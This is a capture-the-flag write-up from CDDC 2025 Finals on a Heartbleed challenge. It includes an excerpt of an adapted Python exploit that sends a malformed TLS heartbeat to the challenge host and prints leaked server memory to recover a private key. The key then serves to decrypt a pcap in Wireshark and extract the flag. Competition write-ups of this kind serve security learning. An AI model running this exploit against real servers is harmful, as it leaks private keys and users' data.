[CDDC 2025 Finals] Heartbleed

In this challenge, we are given 2 things:

A pcap file, that involves a conversation encrypted over HTTPS
Links to some websites (https://chal2.h4c.cddc2025.xyz)

Judging from the name itself, this challenge is about heartbleed, a bug in OpenSSL that allowed for the leaking of memory contents, through 1. Supplying a small payload data 2. Specifying a way larger length for that payload

Visiting any of the websites in the links, will bring us to a page that displays a warning about how the server is vulnerable to heartbleed, as such we should try sending a payload to them and see what we get (I don’t have any screenshots of it T_T)

Luckily for us, since this is an old CVE, there are many scripts available online which can perform the exploit, such as this

Everything is the same, but instead of searching for a username, we modify it to print out the response bytes as a string:

...
    print(r[startIndex:endIndex].decode())
    
    return endIndex

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server_address = ('chal2.h4c.cddc2025.xyz', 443)
print('[Connecting to {} port {}]'.format(*server_address))
s.connect(server_address)

try:
    s.sendall(tls_hello)     # Send Client Hello
    s.recv(8 * 1024)         # Receive Server Hello, Certificate, Server Hello Done
    s.sendall(tls_heartbeat) # Send badly formed Heartbeat Request
    r = s.recv(64*1024)      # Receive server memory!
    print(r.decode('utf-8', errors='ignore'))

    index = 0
    while index < len(r) and index != -1:
        index = findCredentials(r[index:], "private")
    

finally:
    print('[Closing socket]')
    s.close()

Next, we put the result through python to get rid of the newlines:

Save this key into a file, with a .key extension, e.g. server.key, this key will be used to decrypt the TLS sections of the pcap file we are given

Next, add the key to wireshark by navigating to Edit -> Preferences -> Protocols -> TLS -> RSA keys list -> Edit, you can just add it as a key file, and leave the other fields blank: alt text

After saving the settings, we can now see that the sections have been changed to HTTP, and there was a request for flag.html, we can export this file using Export Objects: alt text